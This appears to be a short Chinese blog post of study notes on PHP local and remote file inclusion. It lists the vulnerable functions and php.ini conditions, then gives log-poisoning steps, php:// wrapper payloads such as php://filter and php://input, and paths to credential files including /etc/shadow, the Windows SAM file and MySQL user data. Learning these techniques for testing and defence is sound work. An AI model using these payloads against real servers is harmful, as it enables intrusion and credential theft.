文件包含

一、漏洞产生的函数

include()
include_once()      //检查是否已经包含,如果包含,就不再执行包含
require()      
require_once()

include与require最大的区别在于,如果包含的文件存在错误;那么include弹出警告,脚本继续执行。而require会终止运行脚本

二、包含类型

1、本地包含

2、远程包含

  • allow_url_include = on
  • magic_quotes_gpc = off
    以上两个条件在php.ini文件中都满足,才有可能产生远程文件包含

三、漏洞利用

1、日志包含

httpd.conf中取消CustomLog "logs/access.log" common的#号
通常Apache的日志在:

  • Apache/logs/access.log //访问日志
  • Apache/logs/error.log //错误日志

抓包时空格用+代替

2、php伪协议

include.php?file=zip://phpinfo.zip%23phpinfo
include.php?file=phar://./phpinfo.zip/phpinfo      //输入文件相对路径,并且php在5.3以后
include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php      //读取文件以base64加密读取



3、远程文件包含命令执行

allow_url_include = on
include.php?file=php://input

四、常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
posted @ 2020-12-23 11:56  lnterpreter  阅读(75)  评论(0编辑  收藏  举报